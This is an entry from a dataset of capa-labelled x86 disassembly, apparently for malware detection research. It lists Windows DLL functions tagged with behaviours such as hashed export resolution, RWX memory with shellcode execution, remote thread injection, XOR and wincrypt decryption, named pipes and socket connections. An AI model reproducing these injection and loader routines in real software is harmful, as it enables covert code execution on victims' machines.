joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004df4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov edx, 0x10b
push edi
mov eax, dword [esi + 0x3c]
add eax, esi
movzx ecx, word [eax + 0x18]
cmp cx, dx
jne 0x10004e19
xor edi, edi
add eax, 0x78
jmp 0x10004e2f
mov edx, 0x20b
cmp cx, dx
jne 0x10004ec2
xor edi, edi
inc edi
add eax, 0x88
push edi
push esi
push dword [eax]
call fcn.100058bd
push edi
push esi
lea ebx, [esi + eax]
push dword [ebx + 0x20]
call fcn.100058bd
push edi
push esi
push dword [ebx + 0x24]
add eax, esi
mov dword [ebp + 8], eax
call fcn.100058bd
add eax, esi
add esp, 0x24
test dword [ebp + 0xc], 0xffff0000
mov dword [ebp - 4], eax
jne 0x10004e8c
push edi
push esi
push edi
push esi
push dword [ebx + 0x1c]
call fcn.100058bd
mov ecx, dword [ebp + 0xc]
add esp, 0xc
movzx ecx, cx
sub ecx, dword [ebx + 0x10]
add eax, esi
push dword [eax + ecx*4]
call fcn.100058bd
add esp, 0xc
jmp 0x10004ec4
mov eax, dword [ebx + 0x18]
jmp 0x10004ebe
dec eax
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push edi
push esi
push dword [eax]
call fcn.100058bd
push dword [ebp + 0xc]
add eax, esi
push eax
call fcn.10012b50
add esp, 0x14
test eax, eax
jne 0x10004ecb
add dword [ebp + 8], 4
add dword [ebp - 4], 2
mov eax, dword [ebp - 8]
test eax, eax
jne 0x10004e91
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push esi
push edi
push esi
push dword [ebx + 0x1c]
call fcn.100058bd
mov ecx, dword [ebp - 4]
add esp, 0xc
movzx ecx, word [ecx]
jmp 0x10004e7d

Function at 0x10004ee2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0x14
push 0x10025468
call fcn.10010150
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], eax
mov esi, dword [ebp + 8]
test esi, esi
je 0x10004f74
cmp dword [ebp + 0xc], eax
je 0x10004f74
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push esi
call fcn.10004df4
pop ecx
pop ecx
test eax, eax
je 0x10004f5c
add eax, esi
mov dword [ebp + 8], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10004f5c
call dword [ebp + 8]
test eax, eax
je 0x10004f4b
lea ecx, [ebp - 0x1c]
push ecx
push 6
push 0
call eax
neg eax
sbb eax, eax
and eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x10004f76
xor eax, eax
call fcn.1001018b
ret 0xc
Function at 0x10005038
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12d0
call fcn.10010d30
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov eax, dword [edi + 0x3c]
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, dword [eax + 0x1c]
mov edx, dword [eax + 0x24]
add ecx, edi
add edx, edi
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x20]
mov eax, dword [eax + 0x18]
add ecx, edi
mov dword [ebp + 8], edx
xor edx, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x100050cd
mov ecx, dword [ecx + edx*4]
mov ebx, 0x775a
add ecx, edi
cmp word [ecx], bx
jne 0x100050c5
mov al, byte [ecx]
xor ebx, ebx
ror ebx, 0xd
movsx eax, al
add ebx, eax
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000508d
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [ebp + esi*8 - 0x12cc], ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
mov dword [ebp + esi*8 - 0x12c8], eax
inc esi
cmp esi, 0x258
je 0x100050cd
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
inc edx
cmp edx, eax
jb 0x1000507a
lea eax, [esi - 1]
mov dword [ebp - 0x12d0], esi
xor edi, edi
test eax, eax
je 0x10005127
mov eax, esi
xor ebx, ebx
sub eax, edi
dec eax
je 0x1000511f
lea edx, [ebp - 0x12c8]
mov ecx, dword [edx]
mov dword [ebp + 8], ecx
cmp ecx, dword [edx + 8]
jbe 0x10005112
mov eax, dword [edx + 4]
mov ecx, dword [edx - 4]
mov dword [edx - 4], eax
mov eax, dword [edx + 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov dword [edx + 4], ecx
mov dword [edx + 8], eax
mov esi, dword [ebp - 0x12d0]
mov eax, esi
inc ebx
sub eax, edi
add edx, 8
dec eax
cmp ebx, eax
jb 0x100050eb
inc edi
lea eax, [esi - 1]
cmp edi, eax
jb 0x100050dc
mov ebx, dword [ebp + 0x10]
xor edi, edi
test ebx, ebx
je 0x1000516e
xor eax, eax
test esi, esi
je 0x10005169
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + edi*4]
mov ebx, dword [edx]
cmp dword [ebp + eax*8 - 0x12cc], ebx
mov ebx, dword [ebp + 0x10]
je 0x10005151
inc eax
cmp eax, esi
jb 0x1000513c
jmp 0x10005169
mov dword [edx + 8], eax
push dword [ecx + edi*4]
push dword [ebp + eax*8 - 0x12c8]
call fcn.1000533e
pop ecx
pop ecx
test eax, eax
je 0x1000518f
inc edi
cmp edi, ebx
jb 0x10005130
xor ecx, ecx
test ebx, ebx
je 0x10005185
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx*4]
cmp dword [eax + 0xc], 0
je 0x1000518f
inc ecx
cmp ecx, ebx
jb 0x10005177
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
jmp 0x10005188

Function at 0x1000528d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
cmp dword [ebp + 0x10], ecx
jbe 0x100052b0
mov edx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov eax, ecx
and eax, 3
mov al, byte [eax + esi]
xor byte [ecx + edx], al
inc ecx
cmp ecx, dword [ebp + 0x10]
jb 0x1000529e
pop esi
pop ebp
ret
Function at 0x100059f9
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
add eax, 0xfffffffc
push esi
push edi
push eax
lea eax, [ebx + 4]
xor esi, esi
push eax
push ebx
mov dword [ebp - 4], esi
call fcn.1000528d
push 0x34
push 1
call fcn.100102c1
mov edi, eax
add esp, 0x14
test edi, edi
jne 0x10005a33
push 8
pop esi
jmp 0x10005b53
push dword [ebx + 0x14]
call dword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [ebp + 8]
mov ecx, dword [ecx + 0x58]
test ecx, ecx
je 0x10005afe
cmp dword [ecx + 0xc], esi
je 0x10005afe
test eax, eax
je 0x10005afe
push dword [ebx + 0x18]
call dword [sym.imp.WS2_32.dll_ntohl]
sub eax, 0x18
mov dword [ebp + 0x14], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push esi
push esi
mov eax, dword [eax + 0x58]
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
jne 0x10005a90
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10005b48
push esi
lea eax, [ebp + 0x10]
mov dword [ebp + 0x10], 1
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005a83
push esi
lea eax, [ebx + 0x20]
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x10005a83
lea eax, [ebp + 0x14]
push eax
lea eax, [ebx + 0x30]
push eax
push esi
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x10005a83
push dword [ebp + 0x14]
lea eax, [ebx + 0x30]
push eax
push dword [ebp + 0x14]
lea eax, [ebx + 0x20]
push eax
call fcn.10012ea7
mov eax, dword [ebp + 0x14]
add esp, 0x10
add eax, 8
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 0x18]
mov dword [edi + 0x18], eax
mov eax, dword [ebx + 0x1c]
push dword [edi + 0x18]
mov dword [edi + 0x1c], eax
call dword [sym.imp.WS2_32.dll_ntohl]
add eax, 0xfffffff8
push eax
mov dword [ebp + 0x14], eax
mov dword [edi + 0x24], eax
call fcn.1000fa60
mov edx, eax
mov dword [edi + 0x20], edx
pop ecx
test edx, edx
jne 0x10005b31
push 8
pop esi
jmp 0x10005b4c
mov ecx, dword [ebp + 0x14]
lea eax, [ebx + 0x20]
push ecx
push eax
push ecx
push edx
call fcn.10012e28
mov eax, dword [ebp + 0xc]
add esp, 0x10
mov dword [eax], edi
test esi, esi
je 0x10005b53
push edi
call fcn.100036df
pop ecx
cmp dword [ebp - 4], 0
je 0x10005b62
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005f2c
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt
Import public key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
mov esi, ebx
mov dword [ebp - 0xc], ebx
push edi
mov edi, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x1000606a
cmp dword [ebp + 0xc], ebx
je 0x1000606a
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x8000
push dword [ebp + 0xc]
push dword [ebp + 8]
push 8
push 1
call dword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x10005f88
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1000606f
push 0xf0000000
push 1
push 0x10028818
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
jne 0x10005fb9
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push eax
lea eax, [ebp - 8]
push eax
call ebx
test eax, eax
je 0x10005f7b
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
push 1
push dword [ebp - 8]
call dword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
test eax, eax
je 0x10005f7b
mov eax, dword [ebp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push eax
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push eax
push 1
push eax
push dword [ebp - 4]
call ebx
push dword [ebp + 8]
push 1
call fcn.100102c1
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x10006003
push 0xe
pop esi
jmp 0x1000607e
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
push edi
call fcn.10012e28
add esp, 0x10
lea eax, [ebp + 0x14]
push dword [ebp + 8]
push eax
push edi
push 0
push 1
push 0
push dword [ebp - 4]
call ebx
test eax, eax
je 0x10005f7b
mov edx, dword [ebp + 8]
xor ebx, ebx
test edx, 0xfffffffe
jbe 0x1000605e
mov cl, byte [ebx + edi]
sub edx, ebx
mov al, byte [edx + edi - 1]
mov byte [ebx + edi], al
mov eax, dword [ebp + 8]
sub eax, ebx
inc ebx
mov byte [eax + edi - 1], cl
mov edx, dword [ebp + 8]
mov eax, edx
shr eax, 1
cmp ebx, eax
jb 0x1000603d
mov eax, dword [ebp + 0x18]
mov dword [eax], edi
mov eax, dword [ebp + 0x1c]
mov dword [eax], edx
jmp 0x1000606f
mov esi, 0xa0
test esi, esi
je 0x1000607e
test edi, edi
je 0x1000607e
push edi
call fcn.1000fa28
pop ecx
cmp dword [ebp - 0xc], 0
je 0x1000608d
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 4], 0
je 0x1000609c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 8], 0
je 0x100060ad
push 0
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100069e9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10006a21
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10006a56
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x10006a4e
mov eax, esi
add eax, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push esi
push ecx
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10006a4e
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
sub edi, dword [ebp - 4]
jne 0x10006a2b
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006abd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0x1c], 0
push ebx
push esi
mov esi, dword [ebp + 0x18]
push edi
lea edi, [ebp - 4]
cmovne edi, dword [ebp + 0x1c]
xor ebx, ebx
push edi
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 8
jne 0x10006b76
mov eax, dword [0x1002aa58]
mov dword [ebp + 0x1c], ebx
cmp dword [0x1002aa5c], ebx
jne 0x10006b31
test eax, eax
jne 0x10006b27
push str.RtlCreateUserThread
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1002aa58], eax
mov dword [0x1002aa5c], 1
test eax, eax
je 0x10006b6e
push ebx
lea ecx, [ebp + 0x1c]
shr esi, 2
push ecx
push dword [ebp + 0x14]
and esi, 1
push dword [ebp + 0x10]
push ebx
push ebx
push ebx
push esi
push ebx
push dword [ebp + 8]
call eax
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
test esi, esi
jne 0x10006b76
test edi, edi
je 0x10006b76
push dword [ebp + 0x1c]
call dword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [edi], eax
jmp 0x10006b76
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007409
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov ebx, esi
push dword [edi + 0x10194]
call fcn.1000a364
pop ecx
cmp dword [ebp + 0x10], ebx
jbe 0x10007473
lea eax, [edi + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push esi
sub eax, ebx
mov dword [ebp + 8], esi
push eax
push dword [ebp + 0xc]
push dword [edi + 0x170]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
lea eax, [ebp + 8]
push eax
lea eax, [edi + 0x14]
push eax
push dword [edi + 0x170]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x1000746b
add ebx, dword [ebp + 8]
lea eax, [edi + 0x14]
cmp ebx, dword [ebp + 0x10]
jb 0x1000742a
jmp 0x10007473
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push dword [edi + 0x10194]
call fcn.1000a37a
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret

Function at 0x100079f7
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
push 1
push 0x10029000
xor esi, esi
call fcn.10007966
mov edi, dword [ebp + 8]
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
test eax, eax
jne 0x10007a6f
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call fcn.1000785f
pop ecx
lea eax, [ebp - 0x10]
push eax
push esi
mov eax, 0x10000
push eax
push eax
push 0xff
push esi
push 0x40000003
lea eax, [edi + 0x28]
push eax
call ebx
mov dword [edi + 0x170], eax
cmp dword [ebp - 4], esi
jne 0x10007a6f
lea eax, [ebp - 4]
push eax
push esi
push 0x10029028
call fcn.10007966
add esp, 0xc
cmp dword [edi + 0x170], 0xffffffff
jne 0x10007aaa
push esi
push esi
push 0x10000
push 0x10000
push 0xff
push esi
push 0x40000003
lea eax, [edi + 0x28]
push eax
call ebx
mov dword [edi + 0x170], eax
cmp eax, 0xffffffff
jne 0x10007aaa
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x10007ae4
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
push 1
push 1
push esi
call ebx
mov dword [edi + 0x10], eax
test eax, eax
je 0x10007aa0
push esi
push esi
push 1
push esi
call ebx
mov dword [edi + 0x24], eax
test eax, eax
je 0x10007aa0
push 0x1000739d
push 0x100070d9
push esi
push edi
push dword [edi + 0x10]
call fcn.10006c6a
add esp, 0x14
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008154
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0x14]
xor esi, esi
mov dword [ebp - 4], esi
mov dword [edi], esi
test ebx, ebx
je 0x100081ae
mov edx, 0x10000
mov eax, ebx
sub eax, dword [edi]
cmp eax, edx
push esi
cmova eax, edx
lea edx, [ebp - 4]
push edx
push eax
mov eax, dword [ebp + 0xc]
add eax, dword [edi]
push eax
mov eax, dword [ebp + 8]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100081a6
mov eax, dword [ebp - 4]
mov edx, 0x10000
add dword [edi], eax
cmp dword [edi], ebx
jb 0x10008171
jmp 0x100081ae
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100081b7
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
xor eax, eax
mov byte [ebp - 0x2c], 0
push 7
pop ecx
lea edi, [ebp - 0x2b]
mov dword [ebp - 0xc], 1
rep stosd dword es:[edi], eax
xor esi, esi
xor ebx, ebx
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
push dword [edi + 0x14]
mov eax, dword [eax + 0x30]
mov dword [ebp - 8], eax
call fcn.1000a364
xor eax, eax
pop ecx
inc eax
test eax, eax
je 0x10008239
push 0
lea eax, [ebp - 4]
push eax
push 0x20
pop eax
sub eax, esi
push eax
lea eax, [ebp - 0x2c]
add eax, esi
push eax
mov eax, dword [ebp - 8]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000822c
add esi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
cmp esi, 0x20
jne 0x100081f4
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x100081f4
push 0x490
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x1000827d
cmp esi, 0x20
jne 0x1000827d
cmp byte [ebp - 0x29], bl
jne 0x100082a2
mov edi, dword [ebp - 0x2c]
add edi, 0xffffffe4
push edi
call fcn.1000fa60
mov esi, eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push dword [ebp - 8]
call fcn.10008154
push esi
call fcn.1000fa28
add esp, 0x18
cmp edi, dword [ebp - 4]
jne 0x1000827a
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp + 0xc]
and dword [eax], ebx
mov edi, dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test ebx, ebx
je 0x10008290
push ebx
call fcn.1000fa28
pop ecx
push dword [edi + 0x14]
call fcn.1000a37a
pop ecx
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.1000528d
mov eax, dword [edi + 0x10]
add eax, 0x20
push eax
call fcn.100052b2
add esp, 0x10
test eax, eax
je 0x100082d9
push 0x10
lea eax, [ebp - 0x28]
push eax
mov eax, dword [edi + 0x10]
add eax, 0x20
push eax
call fcn.1000fb00
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.WS2_32.dll_ntohl]
lea esi, [eax - 8]
lea eax, [esi + 0x20]
push eax
call fcn.1000fa60
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x100082fc
push 8
jmp 0x10008231
push 0x1c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.1000528d
push 0x20
lea eax, [ebp - 0x2c]
push eax
push 0x20
push ebx
call fcn.10012e28
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebx + 0x20]
push eax
push dword [ebp - 8]
call fcn.10008154
add esp, 0x2c
cmp dword [ebp - 4], esi
je 0x10008338
push eax
jmp 0x10008231
lea eax, [esi + 0x20]
push eax
push ebx
push dword [ebp + 0xc]
push edi
call fcn.100059f9
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
call fcn.1000fa28
pop ecx
xor ebx, ebx
jmp 0x1000827d
Function at 0x100084e9
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push ebx
push esi
push edi
push eax
push 1
push 0x100290b8
call fcn.10007966
mov ebx, dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
test eax, eax
jne 0x10008567
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call fcn.1000785f
pop ecx
lea eax, [ebp - 0x10]
push eax
push esi
mov eax, 0x10000
push eax
push eax
push 0xff
push esi
push 3
push dword [ebp + 8]
call ebx
mov esi, eax
call edi
cmp dword [ebp - 4], 0
jne 0x10008560
lea eax, [ebp - 4]
push eax
push 0
push str.SeSecurityPrivilege
call fcn.10007966
add esp, 0xc
cmp esi, 0xffffffff
jne 0x1000858e
xor esi, esi
push esi
push esi
push 0x10000
push 0x10000
push 0xff
push esi
push 3
push dword [ebp + 8]
call ebx
mov esi, eax
call edi
cmp esi, 0xffffffff
jne 0x1000858e
or eax, 0xffffffff
jmp 0x100085cd
call fcn.1000524c
mov ebx, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x100085cb
call edi
cmp eax, 0x217
je 0x100085cb
push 1
call fcn.10005209
pop ecx
call fcn.1000524c
mov ecx, dword [ebp + 0xc]
sub eax, ebx
cmp eax, dword [ecx + 4]
jb 0x10008595
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10008589
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008909
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
call fcn.1000524c
mov edi, eax
call fcn.1000524c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_connect]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000894e
push dword [ebp + 0x18]
call fcn.10005209
pop ecx
call fcn.1000524c
sub eax, edi
cmp eax, dword [ebp + 0x14]
jb 0x10008915
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x10008954
Capabilities:
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
push esi
mov esi, dword [ebp + 0x18]
xor eax, eax
push 0x18e
push eax
mov word [ebp - 0x1a0], ax
lea eax, [ebp - 0x19e]
and dword [esi], 0
push eax
call fcn.100103f0
add esp, 0xc
lea eax, [ebp - 0x1a0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x100089a0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10008a08
push ebx
push edi
push 6
push 1
push 2
pop ebx
push ebx
call dword [sym.imp.WS2_32.dll_socket]
push dword [ebp + 8]
mov edi, eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx]
push dword [ecx]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
xorps xmm0, xmm0
push eax
movdqu xmmword [ebp - 0x10], xmm0
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov word [ebp - 0x10], bx
call dword [sym.imp.WS2_32.dll_htons]
push dword [ebp + 0x14]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push dword [ebp + 0x10]
push 0x10
push eax
push edi
call fcn.10008909
add esp, 0x14
test eax, eax
jne 0x10008a06
mov dword [esi], edi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10008a0d
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
mov eax, dword [ebp + 0x1c]
push esi
xor esi, esi
push 0x18e
mov dword [eax], esi
xor eax, eax
mov word [ebp - 0x1bc], ax
lea eax, [ebp - 0x1ba]
push esi
push eax
call fcn.100103f0
add esp, 0xc
lea eax, [ebp - 0x1bc]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x10008a5d
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10008b17
push ebx
push edi
push 7
pop ecx
xor eax, eax
mov dword [ebp - 0x2c], esi
push 0x17
lea edi, [ebp - 0x28]
xor ebx, ebx
rep stosd dword es:[edi], eax
pop edi
lea eax, [ebp - 8]
mov dword [ebp - 0x28], edi
push eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x20], 6
push eax
push dword [ebp + 0xc]
inc ebx
push dword [ebp + 8]
mov dword [ebp - 0x24], ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x10008aa8
push 6
push ebx
push edi
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10008ab0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10008b15
mov dword [ebp - 4], esi
call fcn.1000524c
mov dword [ebp - 0xc], eax
call fcn.1000524c
mov edi, dword [ebp - 8]
jmp 0x10008ae6
mov eax, dword [edi + 0x18]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x18], ecx
push dword [edi + 0x10]
push dword [edi + 0x18]
push ebx
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x10008b1c
mov edi, dword [edi + 0x1c]
test edi, edi
jne 0x10008ac5
push dword [ebp + 0x18]
call fcn.10005209
pop ecx
call fcn.1000524c
sub eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x14]
jb 0x10008abb
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov esi, dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, esi
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0x1c]
mov dword [eax], ebx
jmp 0x10008b0a